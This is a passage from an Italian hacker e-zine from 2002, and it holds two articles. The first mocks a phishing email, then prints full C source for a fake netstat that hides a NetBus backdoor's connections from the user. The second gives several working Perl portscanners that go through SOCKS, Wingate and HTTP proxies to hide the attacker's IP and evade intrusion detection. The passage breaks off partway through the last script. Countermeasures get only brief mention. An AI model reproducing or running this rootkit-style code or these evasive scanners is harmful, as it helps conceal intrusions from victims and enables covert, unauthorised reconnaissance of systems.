| Ovvero attacchi via Web, via malicious-script, via social |
| engeneering etc etc... |
| |
| E anche qui la *massa* degli attacker della domenica vengono sfoltiti |
| in una sorta di selezione naturale darwiniana lasciando ancora una |
| volta i piu' smaliziati e/o i piu' furbi. |
| |
| Ci sono infatti molti personaggi che si improvvisano hacker e, dopo |
| aver letto il primo tute sul social-e del primo *attacker della |
| domenica* che pero' e' piu' fico perche' ha gia scritto un tute.., ci |
| danno dentro di email del tipo: |
| |
| |
| " Caro utente, le scrive il dott. Rossi della Telecom S.p.A. |
| Dovendo effettuare lavorazioni sulla rete interna e sui server che le |
| garantisco la connessione ad internet, ci apprestiamo a richiederle |
| con la presente e-mail criptata in formato 3-DES ABCD (in modo da |
| non rendere visibili i dati a nessuno) la sua collaborazione per |
| garantire a Voi utenti un servizio migliore. |
| Abbiamo bisogno che lei risponda a questa mail con username e |
| password della sua connessione ad internet, in modo da permetterci |
| di ripristinare le medesime configurazioni del suo account una volta |
| terminati i lavori. Risponda a questo indirizzo! Ne vale della |
| sua sicurezza! |
| |
| Dott. Rossi Telecom Italia Via dei Pascoli, 13 ROMA 06/132145123 " |
| |
| |
| IP della mail spudoratamente iniziante co 151.x.x.x e quindi |
| appartenente alla rete infostrada.... Ma bene...il dott.Rossi di |
| telecom che manda una mail da infostrada... patteggiamenti e/o scoop |
| di fusioni commerciali? |
| Ma no... il solito birbaccione che eleva il suo personal-skill |
| da -10 a -9 ... |
| P.s. la mail mi era stata recapitata l'anno scorso e l'ho |
| conservata per farci 4 risate dopo aver letto i post su F.I.H |
| e F.I.H.C. ... |
| |
| Ma ora veniamo al dunque... |
| oltre ad avere questi birbaccioni di cui non ci preoccupiamo... |
| abbiamo anche qualcuno di piu' serio che sperandoci sprovvisti |
| di antivirus e firewall, o usando una delle classiche tecniche |
| per nascondere virus e/o trojan al nostro antivirus, o ancora |
| meglio creando un trojan o uno script che disattivi l'antivirus |
| (altro bug a riguardo scoperto di recente per il quale ancora |
| mooooolte software house di antivirus non sono ancora aggiornate |
| credendolo innocuo..) tentera' di farci eseguire il classico |
| programmino che andra' ad installarci il mitico NetBus ,o il tecnico |
| Sub7, o il piu' complesso BO... |
| |
| Bene, lo eseguira' e avra' modo di connettersi all'host ma... [ e qui |
| viene il punto dell'articolo] il figaccione che sta dietro l'host |
| e che guardacaso si sente sicuro perche' ha letto tutto il manuale |
| di Lord Shinva d'un fiato uscira' con la frase che fa da tema del |
| presente articolo: " Ma si', ed anche se fosse...tanto io c'ho il |
| netstat e so fare audit del mio pc per vedere tutte le connesioni |
| con l'esterno quando voglio...quindi hai vita breve lamah!" |
| |
| |
| E QUI CI CASCA L'ASINO... |
| |
| |
| /* Inizio articolo vero e proprio */ |
| |
| In quanti sanno usare il netstat per dare occhiata alle connessioni |
| in rete del proprio pc? penso proprio tutti, almeno tu che stai |
| leggendo questo articolo... se no che lo leggi a fare? |
| |
| Bene, il programma netstat, presente su ogni piattaforma che opera |
| in rete, costituisce una risorsa preziosa in quanto e' in grado di |
| visualizzare informazioni sulle connessioni di rete: rilevando il |
| protocollo su cui si basano (tcp o udp), l'indirizzo locale, quello |
| remoto e lo stato della connessione stessa. |
| Come sappiamo per ottenere informazioni sulle connessioni in corso |
| basta semplicemente digitare *netstat* dal prompt dei comandi. |
| |
| Netstat, sebbene utile anche per monitorare connessioni sospette |
| (vedi il nostro amico di prima.....), non e' infallibile. |
| E' anche possibile *fondere due programmi in uno...o piu'.. |
| Magari uno che disattiva l'antivirus con un software normale... |
| Ma se invece l'attacker risultasse un tipo *serio* e decidesse |
| di compromettere la visualizzazione della connessione con la backdoor |
| in modo da tenercela nascosta? |
| Anche l'utente smaliziato che si fa figo in chat spiegando |
| come inviare mail anonime (vedi l'amico sopra...) rimarrebbe fregato. |
| Ma purtroppo questo problema affligge anche l'utente inesperto e / |
| o l'utente a cui non frega niente della sicurezza, ma usa il pc solo |
| per scaricarsi Wanna Marchi e lavorare.. |
| |
| Voi direte sicuramente... ma va..non dir cazzate..me ne accorgerei.. |
| |
| E invece no. Qui sta il problema. La sottovalutazione di questo |
| fenomeno che da gia un vantaggio all'attacker. |
| Tant'e' ke la compromissione di netstat e' uno dei punti onnipresenti |
| di ogni rootkit serio. |
| |
| Tempo fa, su irc, mi e' capitato per caso di fare una scannata col |
| fido nmap su un IP di un amico del chan #messengers_of_fear che mi |
| aveva appena mandato un file.... e che ti trovo? |
| Bene...trovo oltre al resto, 2 belle porte aperte con a fianco una |
| dicitura, la quale diceva: |
| |
| Port State Service |
| 12345/udp open NetBus |
| 12346/udp open Netbus |
| |
| Dopo averlo comunicato all'amico incredulo del quale non faccio nome |
| per non sputtanarlo..( :P ) ... lui ha guardato col netstat dicendomi |
| spavaldo che la mia linuxbox era in errore... la sua WindozeBoxer non |
| dava nessuna connessione col netbus... |
| |
| Poi alla fine mi ha creduto..e tutto ciò mi e' capitato gia 2 volte.. |
| quindi non e' tanto raro.. |
| |
| |
| |
| /* tecnica di compromissione */ |
| |
| Ma come avviene tutto cio'? |
| Semplice, con 70 righe di codice(c.ca) ed una rinominata di file. |
| Supponiamo di rinominare (tramite script/lo stesso progr o altro...) |
| il vero netstat come setup.exe e di spostarlo nella r00t di Windoze |
| ( C:\ ).. |
| In questo caso, ottenuto il nome della cartella in cui e' installato |
| il sistema operativo (di solito c:\windows ) tramite la call alla |
| GetWindowsDirectory(), il programma esegue "setup.exe", che e' il |
| vero netstat, rinominato e spostato nelle dir radice. |
| Questo programma verra' filtrato ed analizzato dal nostro programmino |
| che ora si chiamera' netstat.exe .... |
| Vediamo il programma: |
| |
| ---------------------[cut-here]---------------------------- |
| /* < - > fake-netstat.c < - > */ |
| /* Windoze version 02/2002 */ |
| /* */ |
| /* This source is only an example of how netstat */ |
| /* can be easely compromised by filter its output */ |
| /* givin' to an attacker the possibility to hide himself */ |
| /* from the connection's listers.. */ |
| /* In this explicit example the program will hide you */ |
| /* from the port12345 ( netbus's default port) */ |
| /* */ |
| /* Coded by SNHYPER snhyper@hotmail.com */ |
| /* */ |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <windows.h> |
| |
| |
| #define MAX 256 |
| #define BANNER "This is only an example! ..::SNHYPER::.." |
| |
| |
| int main(int argc, char *argv[]) |
| { |
| char WinDir[MAX]; |
| char buf[MAX] ; |
| char *p ; |
| FILE *fp ; |
| int i ; |
| |
| GetWindowsDirectory(WinDir, MAX); |
| p = strtok(WinDir, "\\"); |
| strcat(p,"\\setup.exe") ; |
| |
| i = 1; |
| |
| if (argc != 1) |
| { |
| for(;i<argc; i++) |
| { |
| strcat(p, " "); |
| strcat(p, argv[i]); |
| } |
| } |
| |
| strcat(p, " > log"); |
| system(p); |
| Sleep(2000); |
| |
| fp = fopen("log", "r"); |
| |
| while(!feof(fp)) |
| { |
| fgets(buf,MAX, fp); |
| |
| if(strstr(buf, "12345")==NULL) |
| printf("%s",buf); |
| |
| else continue; |
| } |
| |
| puts(BANNER); |
| |
| fclose(fp); |
| DeleteFile("log"); |
| |
| return 0; |
| } |
| |
| /* The-End */ |
| ----------------------[cut-here]-------------------------------- |
| |
| |
| /* come ovviare al problema? */ |
| |
| Un indizio a destare sospetto e' l'aumento del tempo necessario |
| all'esecuzione, dovuto alla Sleep() che attende 2.5 secondi prima di |
| recuperare e filtrare l'output di netstat,reindirizzato verso il file |
| "log". |
| |
| L'unica possibilita' per accorgersi dello scambio e'di verificare |
| la differenza nelle dimensioni di Netstat che passa da 27.2 Kb c.ca |
| ai 36 Kb c.ca. E' anche riscontrabile un blocco, a causa del |
| reindirizzamento, quando si usa l'opzione di ri
petizione del comando |
| ogni tot secondi ( es. c:\> netstat 5 ). |
| |
| Altro ancora e' tenere sottocchio netstat in modo tale da avvertirvi |
| se dovesse essere rinominato e/o dovessero cambiare le dimensioni... |
| Tutto cio' e' molto semplice da fare...basta usare un po' di batch, |
| o di C , o di Perl... e farlo eseguire ogni tot tempo ( simil crond, |
| v.di LINUX!!!!!) In questo modo avete sottocontrollo la situazione, |
| almeno questa.. |
| |
| |
| Se l'attacker fosse piu'ù skillato ancora, renderebbe la situazione |
| piu' raffinata sostituendo la dynamic-link dll ( inetmib1.dll) con |
| una versione fake.... |
| |
| |
| Dunque, o Voi specialisti del netstat, spero abbiate capito come esso |
| non sia sufficiente nel caso in cui Vi troviate ad avere a che fare |
| con un attacker dallo skill elevato.. |
| |
| Ultima frase ed ultimo messaggio che vorrei dare... passate a |
| Linux. Solo col pinguino avrete veramente delle soddisfazioni sotto |
| tutti i campi! |
| Beh..non solo col pinguino, anche col pesciolino... |
| [profani! pesciolino -> openBSD] |
| |
| |
| |
| -- |
| ..::SNHYPER::.. |
| Security Developer |
| |
| /* */ |
| /* Bye && Thanks to: FuSyS, Nobody, Tritemius, Naif, WishMaster, */ |
| /* :raptor, Morpheo, SirPsychoSexy, embyte, */ |
| /* MoF, UIHA e..chi manca ma si sente incluso */ |
| /* */ |
| /* Phrack, Bfi, Whitepages varie, OndaQuadra */ |
| /* */ |
| /* */ |
| /* Fucks to : anyone */ |
| /* */ |
| /* */ |
| /* NON NELLA CONOSCENZA STA IL POTERE, */ |
| /* BENSI' NELL'ACQUISIZIONE DELLA CONOSCENZA!" */ |
| /* */ |
| /* */ |
| /* */ |
| /* ..::SNHYPER::.. */ |
| /* snhyper@hotmail.com */ |
| /* "Security Developer" */ |
| /* Linux registered user #249109 */ |
| /* Linux registered machine #133922 */ |
| /* */ |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| |
| mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk |
| HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF |
| Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q |
| nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ |
| 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW |
| dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 |
| 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S |
| SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU |
| EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z |
| yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 |
| LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U |
| ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K |
| =uAC7 |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 |
| PASSi SiLENZi0Si NELLA NEVE [SNHYPER] 0x06/0x19 |
+--------------------------------------------------------------------------+
| snhyper@Charlotte2:~$ echo `date` |
| Tue Mar 19 20:23:05 CET 2002 |
| |
| |
| Questo articolo vuole dimostrare come sia possibile eseguire un portscan |
| attraverso un IDS o firewall senza venire sgamati. |
| Potrebbe offrire anche ad un attacker molte altre possibilita' per |
| raggirare firewall, dandogli quindi diversi vantaggi. |
| Questo articolo non e' riguardante lo stack TCP/IP o altri protocolli a |
| basso livello, bensi' si incentrera' sui protocolli ad alto livello, o |
| meglio sul loro *abuso* per raggiungere la meta. |
| Inseriro' diverse parti di codice in Perl e discutero' anche delle |
| possibili contromisure a cio'. |
| Inoltre come per ogni buon articolo troverete allegati i sorgenti dei 4 |
| programmi perfettamente funzionanti e ben oliati ad uopo.Oddio...oliati. |
| diciamo che sono si funzionanti ed ok, ma si potrebbero comunque |
| implementare aggiungendo possibilita' di multithreading e/o selezioni |
| random che non ho aggiunto ma che sicuramente se l'articolo suscitera' |
| interesse faro' in un prossimo futuro in modo tale da avere un vero tool |
| perfettamente oliato per l'uso ;). In ogni caso lo scopo dell'articolo |
| e'la dimostrazione di un metodo di scansione particolare, non la |
| creazione di un programma, quindi sleep().. |
| |
| |
| |
| Mi sono scontrato con questo progetto quando una volta ebbi avuto |
| bisogno di concludere scansioni full-open con un sistema,al quale |
| chiaramente non volevo lasciare in bella mostra il mio IP,e per il |
| quale non avrei voluto passare *fisicamente* attraverso wingate, socks |
| etc.. |
| Sarebbe dovuto essere il piu' portabile possibile, e avrebbe dovuto |
| funzionare anche senza la possibilita' di creare pacchetti IP con le raw |
| socket ( come ad esempio su alcui sistemi Windoze o Linux senza |
| privilegi di root). |
| Avrebbe dovuto avere quindi le proprieta' di un *FTP bounce scan*, che |
| appunto usa un server FTP per avere le informazioni desiderate ( ad es. |
| con nmap). |
| |
| |
| |
| Il protocollo FTP ci permette di connetterci ad un server FTP e farlo |
| connettere al nostro computer, quindi ci permette di forzare il server a |
| connettersi a noi. Dato che in questo modo e' possibile farlo connettere |
| a qualsiasi porta e' evidente come, analizzando i messaggi di ritorno |
| del server FTP,sia altrettanto possibile stabilire se una porta e'in |
| ascolto, in attesa di dati, o e' chiusa. |
| Questo tipo di scansione e' solitamente eseguita settando inizialmente |
| IP e porta con il comando PORT, e quindi inizializzando un trasferimento |
| (usando una richiesta LIST o GET ad esempio). |
| Se dovesse ritornare un "425 Can't build data connection: connection |
| refused", chiaramente intenderemo la porta come chiusa. |
| Ritornera' invece un 150 e un 226 indicando che e' in corso un tentativo |
| di connessione ad una porta aperta. Per usare questo tipo di scansione, |
| come ho detto prima, potete usare nmap (http://www.insecure.org/nmap) |
| con in aggiunta l'opzione "-b" (che sta appunto per bounce,vedere man |
| nmap). |
| Il problema e' che da un po' di tempo molti server FTP non permettono |
| il suddetto tipo di scansione. |
| In che modo? Facile, controllando a priori se la porta alla quale sta |
| per connettersi e' veramente un client FTP; se non lo e' ritornera' il |
| medesimo errore 425 indicando l'impossibilita' di connettersi. |
| Quindi bisogna ingegnarsi e trovare un'altra soluzione... |
| |
| |
| Questo tipo di scansione verso un host ha anche notevoli svantaggi. |
| Ad esempio non da la possibilita' ad un attaccker di catturare i banner |
| durante la scansione, metodo molto usato durante il *fingerprinting* per |
| raccimolare informazioni sui vari demoni in servizio, e quindi poi |
| codare tools per exploitarli automaticamente. In piu' una scansione |
| full-open risulta molto rumorosa, e quindi loggata da tutti gli IDS, |
| firewall e anche dalle macchine di utenti smaliziati. |
| |
| |
| La prima idea che mi e' venuta in mente e' stata quella di avvalermi |
| dei proxy. Sicuramente in molti avranno avuto la stessa idea ma..visto |
| che non ho trovato materiale a riguardo... Insomma: l'uomo..-> |
| somatizza. |
| I proxy sono molto usati quando si ha la necessita' di mascherare il |
| proprio IP quando ci si sta connettendo dalla nostra LAN ad un'altra |
| rete dove i router controllano il traffico. |
| Svariati socks proxy sono disponibili gratuitamente per tutti e sono |
| usati anche per le sessioni IRC, per bot etc.... |
| ( http://www.cyberarmy.com ; http://www.proxy4all.net ; etc...) |
| |
| |
| Cosi' ho codato velocemente uno script in Perl che connette |
| semplicemente server socks 4 o 5 , quindi prova a connettersi all'host |
| target. |
| Nel caso in cui riceva un errore, intendiamo la porta chiusa. |
| Se riceviamo un "connection estabilished", intendiamo la porta aperta |
| |
| |
| |
| ______________ sforbicia qui __________________________________________ |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # totalscan.pl [socks-proxy][s/p-port] [ip_target] [start_port] |
| [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # To use SOCKS lib you must download and install SOCKS module. |
| # You can do this from: http://theoryx5.uwinnipeg.ca/CPAN/cpan- |
| search.html |
| |
| use Net::SOCKS; |
| |
| # Check if cmd is OK...if not, print Usage |
| if ( @ARGV < 5 ) |
| { |
| print "\n --------TOTALSCAN---2002------\n"; |
| print "\nThis tool performs a portscan which,\n"; |
| print "going over socks and/or proxy servers,\n"; |
| print "is able to hide your IP from IDS and FW;\n"; |
| print "if possible is also able to see blocked ports\n\n"; |
| print "Coded by ..:: SNHYPER ::.. \n"; |
| print " * [ snhyper\@hotmail.com ] *\n\n "; |
| print " Usage:\n"; |
| print "totalscan.pl [socks-proxy] [s/p-port] [target] [start_p] |
| [end_p]\n\n"; |
| exit; |
| } |
| |
| # define variable |
| |
| $proxy = @ARGV[0]; |
| $p_port = @ARGV[1]; |
| $target = @ARGV[2]; |
| $start = @ARGV[3]; |
| $end = @ARGV[4]; |
| |
| # prassi.. :) |
| |
| print "totalscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "Let's go..scanning target: $target ... \n"; |
| |
| #initializin' socket |
| |
| my $sock = new Net::SOCKS ( socks_addr => $proxy , |
| socks_port => $p_port, |
| protocol_version => 4 ); |
| |
| # start scanning |
| |
| for ( $i = $start; $i <= $end; $i++ ) |
| { |
| $sd = $sock -> connect( peer_addr => $target, peer_port => $i ); |
| |
| if ( $sock -> param('status_num') == SOCKS_OKAY ) |
| { |
| print ".. Yeah .. Found port opened : __ $i __\n"; |
| |
| |
| |
| } |
| |
| $sock -> close(); |
| } |
| |
| print "\n -_-_-_- totalscan finished -_-_-_-\n"; |
| |
| |
| _______________________sforbicia qui___________________________________ |
| |
| |
| |
| Come e' possibile notare il programma usa il modulo Net::SOCKS che non |
| avrete in una distro con moduli perl di default, quindi dovrete |
| scaricarvelo e installarlo dall'url inserito nel source. |
| Ricordo per chi non lo sapesse che il metodo di installazione di un |
| modulo in perl e' il seguente: |
| |
| $ tar zxvf modulo.tar.gz |
| $ cd modulo |
| $ perl Makefile.PL |
| $ make |
| $ make test |
| # make install |
| |
| |
| Per ogni altro riferimento... il classico |
| |
| $ perldoc |
| |
| Scannando un host da un altro IP, un attacker e' in grado di raggirare |
| firewall usando un socks proxy. Se il proxy e' all'interno di un range |
| di IP privilegiato, il firewall consentira' di essere bypassato. |
| E' anche possibile e divertente far scannare se stessi ai socks proxy |
| usando il classico IP dell'hacker cattivo, ovvero localhost(127.0.0.1); |
| potrete notare come molte volte riesca a bypassare i settaggi dei fw |
| locali.Kiaramente non funzionera' su tutti i tipi di socks proxy in |
| quanto alcuni sono settati intelligentemente in modo da rifiutare |
| connessioni verso e da indirizzi loopback o localhost. |
| |
| |
| |
| E' molto utile per scannare anonimamente un host, ma come puo' essere |
| utilizato per gli IDS? Molti Intrusion Detection Systems sono settati |
| per allarmarsi ed allarmare il sysadmin) quando si supera un limite di |
| connessioni dallo stesso IP verso porte,in uno specific spazio di tempo. |
| di tempo. Per questo molti usando la famosa opzione *paranoid* di nmap |
| che testa una porta ogni 5 minuti c.ca per non far insospettire l'IDS |
| |
| # Dalla man di nmap: |
| # Para noid mode scans very slowly in the hopes of avoiding detection |
| # by IDS systems.It serializes all scans (no parallel scanning) and |
| # generally waits at least 5 minutes between sending packets. |
| |
| Poi bisogna contare anche sui notevoli "falsi positivi e falsi |
| negativi". |
| Liste di socks e proxy si trovano dappertutto in rete quindi potrete |
| facilmente modificare lo script,o semplicemente inserirlo a sua volta in |
| uno script di bash in modo da fargli usare un socks diverso x ogni |
| porta, meglio se in random.In questo modo l'IDS non logghera' alcunche' |
| (nel 90%dei casi) in quanto le connessioni provengono da differenti |
| host della rete; e comunque anche se proprio dovesse loggare |
| qualcosa...di certo non logghera' noi. |
| Questo permettera' all'attacker di usare un *distribuited scan* senza |
| ricorrere all'installazione di trojan per scannare da altri host. |
| |
| |
| |
| Potrebbe sorgere la seguente domanda:"Ma che differenza c'e' tra questo |
| tipo di scansione, ed una normale non distribuita?" |
| Bene, quando avviene una connessione su una singola porta di una |
| macchina target, quasi nessun IDS pensera' ( essendo un sistema di |
| sicurezza proattiva) di star subendo un attacco, e quindi non prendera' |
| le contromisure impostate, ovvero mail di qua e di la, chiusure |
| temporanee etc.. etc... a seconda della paranoia dell'admin, o del tipo |
| di target nel quale l'attacker si sta imbattendo. |
| Ma nel momento in cui ci si connette a molte porte in pochissimo tempo, |
| ogni IDS decente ( e cosi' firewall e host decenti...) capiranno subito |
| che si tratta di un portscan di qualke novello, attuando cosi' le |
| contromisure di sicurezza. ( v.di scansione *insane* di nmap.. ). |
| Vi posso dire che in quanto ad IDS ci sono molte scuole di pensiero, o |
| meglio in quanto a settaggio di IDS. |
| Questo perche', come e' facilmente intuibile, aumentando la sicurezza |
| aumenta proporzionalmente la rottura di p...e di controllare i vari log |
| (anch'essi aumentati proporzionalmente), di ricevere mail con falsi |
| allarmi, di sentirsi suonare il cercapersone di notte mentre magari si |
| e' sotto le coperte con la donna per uno script kiddye che ci da dentro |
| di Hail Scan (del buon antirez).Quindi purtroppo, in poche parole, la |
| cosa funziona cosi':maggiore sicurezza =>minore usabilita' =>no script |
| kiddye; maggiore usabilita' =>minore sicurezza =>facciamo festa. |
| La seconda e' la maggiore implementazione di questi tempi per la gran |
| parte dei sistemi. |
| Quindi cio' che faremo sara' di far connettere un host per porta, o al |
| massimo un host per pochissime porte in modo tale da non far |
| insospettire l'IDS.Ogni host si connettera' a poche porte dopo aver |
| atteso un po' di tempo per cercare ancora dalla lista. |
| |
| |
| __________________zaffa qui___________________________________________ |
| |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # noidsscan.pl [list-file] [ip_target] [start_port] [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # To use SOCKS lib you must download and install SOCKS module. |
| # You can do this from: http://theoryx5.uwinnipeg.ca/CPAN/cpan- |
| # search.html |
| |
| use Net::SOCKS; |
| |
| # Check if cmd is OK...if not, print Usage |
| |
| if ( @ARGV < 4 ) |
| { |
| print "\n ------NOIDSSCAN------2002---\n"; |
| print "\nThis tool performs a portscan which,\n"; |
| print "going over socks and/or proxy servers\n"; |
| print "and connecting from various IP to various\n"; |
| print "port in different range of time, will try\n"; |
| print "to defeat IDS *sentinel* ... \n\n"; |
| print "Coded by ..:: SNHYPER ::.. \n"; |
| print " * [ snhyper\@hotmail.com ] *\n\n "; |
| print " Usage:\n"; |
| print "noidsscan.pl [list-file][ip_target][start_port][end_port] |
| \n\n"; |
| exit; |
| } |
| |
| # initializin' variable |
| |
| $list = @ARGV[0]; |
| $target = @ARGV[1]; |
| $start = @ARGV[2]; |
| $end = @ARGV[3]; |
| |
| |
| # prassi =) |
| |
| print "noidsscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "Let's go..scanning target: $target ... \n"; |
| |
| # access to the file |
| |
| open( FILE, "<$list"); |
| @proxylist = <FILE>; |
| close FILE; |
| |
| $x = -1; |
| |
| for ( $i = $start; $i <= $end; $i++ ) |
| { |
| $x++; |
| if( $x <= ( @proxylist ) ) |
| { |
| $x = 0; |
| } |
| ( $proxy, $p_port ) = split( ";", @proxylist[$x]); |
| |
| my $sock = new Net::SOCKS(socks_addr => $proxy, |
| socks_port => $p_port, |
| protocol_version => 4 ); |
| |
| $sd = $sock -> connect( peer_addr => $target, peer_port => $i); |
| |
| if ( $sock -> param('status_num') == SOCKS_OKAY ) |
| { |
| print ".. Yeah .. Found port opened : __ $i __\n"; |
| |
| |
| |
| } |
| |
| $sock -> close(); |
| } |
| |
| print "\n -_-_-_- NoIDSScan finished -_-_-_-\n"; |
| |
| |
| ___________________zaffa qui__________________________________________ |
| |
| |
| |
| Un esempio di lista di proxy puo' essere la seguente: |
| |
| proxy1.com:1080 |
| proxy2.org:8080 |
| proxy3.net:80 |
| |
| |
| Come potete vedere e' abbastanza facile usando queste tecnike |
| implementaruno scanner distribuito.Certamente risultera' lento ma |
| potrebbe essere possibile avviare piu' thread in modo da distribuire il |
| lavoro rislutando + veloce. In questo modo sarebbe l'ideale una lista |
| numerosa di proxy in modo da non ripeterli troppo frequentemente, |
| facendo scattare l'IDS. |
| E' bene sapere anche che pero' un attacker serio, non fara' tutto cio' |
| dal suo computer di casa...anche perche' molti socks e proxy loggano |
| loro stessi le connessioni....quindi in caso di IDS alarm,il sysadmin |
| potrebbe risalire all'history dei proxy fino a risalire a voi (cosa un |
| po' remota, raramente ci si muove per uno scan..) |
| |
| |
| C'e' da dire anche che i socks e i proxy non sono cmq l'unica risorsa di |
| raccolta di informazioni. |
| Potremmo benissimo usare i mitici Wingates per lo stesso scopo e con lo |
| stesso effetto. Come sapete i Wingates sono altrettanto pubblici in |
| inet, abbastanza facilmente trovabili,e molte volte gli admin sono |
| talmente distratti da lasciarli incautamente senza password... in |
| questo modo possono facilmente esere (ab)usati per fare portscanning ed |
| altro. |
| Resta il fatto che in molti comunque loggano anche se l'opzione dei log |
| non e' settata di default. Quindi e' sempre bene passare da una "casa in |
| affitto" in ogni caso. |
| |
| |
| __________________Smonta qui__________________________________________ |
| |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # bygatescan.pl [ip_wingate] [w_port] [ip_target] [s_port] [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # |
| |
| |
| use IO::Socket; |
| |
| if(@ARGV < 5) |
| { |
| print "\n ------BYGATESCAN------2002---\n"; |
| print "\nThis tool performs a portscan which,\n"; |
| print "using a wingate proxy server, is able\n"; |
| print "to hide your real IP address from target.\n\n"; |
| print "Coded by ..:: SNHYPER ::.. \n"; |
| print " * [ snhyper\@hotmail.com ] *\n\n "; |
| print " Usage:\n"; |
| print "bygatescan.pl [ip_wingate] [w_port] [ip_target] [s_port] |
| [end_port]\n\n"; |
| exit; |
| } |
| |
| $wingate = @ARGV[0]; |
| $w_port = @ARGV[1]; |
| $target = @ARGV[2]; |
| $start = @ARGV[3]; |
| $end = @ARGV[4]; |
| |
| print "bygatescan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "Let's go..scanning target: $target ... \n"; |
| |
| for( $i = $start; $i <= $end; $i++ ) |
| { |
| print ("Checking port: __ $i __ ..."); |
| |
| $sd = IO::Socket::INET -> new( PeerAddr => $wingate, |
| PeerPort => $w_port , |
| Proto => "tcp" ) || |
| die "is better to change wingate...maybe is |
| down..\n"; |
| |
| $send = "$target:$i\n"; |
| print $sd "$send"; |
| |
| $x = " "; |
| read $sd, $x, 150; |
| |
| if( $x =~"Connected" ) |
| { |
| print "Yeah..port is open!\n"; |
| print "And the banner is:\n\n"; |
| print "$x\n"; |
| } |
| else { |
| print "Mmm..this port result closed\n; |
| } |
| |
| close $sd; |
| |
| } |
| |
| |
| _______________________________smonta qui______________________________ |
| |
| |
| |
| Ma non ci limiteremo a cio'. Andremo avanti ad analizzare un altro tipo |
| di proxy server di cui e' possibile abusare per scannare reti. |
| Tutto cio' che dobbiamo fare e' apportare qualke piccola modifica al |
| sorgente del programma precedente. |
| Anche i proxy HTTP permettono in genere a tutti connessioni ovunque si |
| voglia. Naturalmente, come dovreste sapere, appena aver "scaricato" la |
| pagina html o il banner chiudono direttamente la connessione con l'host |
| target. Questo per noi non risulta comunque un problema, visto che non |
| dobbiamo inviare dati; abbiamo la sola necessita' di scaricarci il |
| banner e vedere se il servizio risulta attivo. |
| |
| |
| |
| Implementeremo un scanner che tramite una semplice richiesta di pagina |
| HTTP GET sulla porta dell'obiettivo (che per noi fara' il proxy..), a |
| seconda del ritorno ci indichera' la situazione attuale della porta. |
| Il proxy quindi si connettera' al nostro obiettivo e ci riportera' la |
| risposta: se fosse un "503 -Service unavailable", e' facile intuire che |
| la porta risulterebbe chiusa. Nel caso in cui risultasse aperta il |
| proxy, dopo essersi connesso, ci ritornera' la risposta del server. |
| A questo punto pero' ci si presenta un problema: il proxy, una volta |
| effettuata la connessione, non chiudera' la sessione con l'host target; |
| dovremo quindi attendere che la stessa vada in time out per portarci a |
| casa in nostro banner. Se invece non vogliamo prenderci il banner, |
| potremmo semplicemente velocizzare le cose analizzando la risposta del |
| server: attendiamo 5-10 secondi, quindi se la risposta e' un "503" |
| assumiamo che òla porta sia chiusa, se no la consideriamo aperta. |
| |
| |
| |
| _______________________splitta qui________________________________ |
| |
| |
| |
| #!/usr/bin/perl # |
| # Usage : |
| # |
| # byhttpscan.pl [ip_wingate] [w_port] [ip_target] [s_port] [end_port] |
| # |
| # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 |
| # |
| # You can implement this tool, but remember to include author's name ok? |
| # |
| |
| |
| use IO::Socket; |
| |
| if(@ARGV < 5) |
| { |
| print "\n ------BYHTTPSCAN------2002---\n"; |
| print "\nThis tool performs a portscan which,\n"; |
| print "using a HTTP proxy server, is able\n"; |
| print "to hide your real IP address from target.\n\n"; |
| print "Coded by ..:: SNHYPER ::.. \n"; |
| print " * [ snhyper\@hotmail.com ] *\n\n "; |
| print " Usage:\n"; |
| print "byhttpscan.pl [ip_proxy] [p_port] [ip_target] [s_port] |
| [e_port]\n\n"; |
| exit; |
| } |
| |
| $proxy = @ARGV[0]; |
| $p_port = @ARGV[1]; |
| $target = @ARGV[2]; |
| $start = @ARGV[3]; |
| $end = @ARGV[4]; |
| |
| print "byhttpscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; |
| print "Let's go..scanning target: $target ... \n"; |
| |
| for( $i = $start; $i <= $end; $i++ ) |
| { |
| print ("Checking port: __ $i __ ..."); |
| |
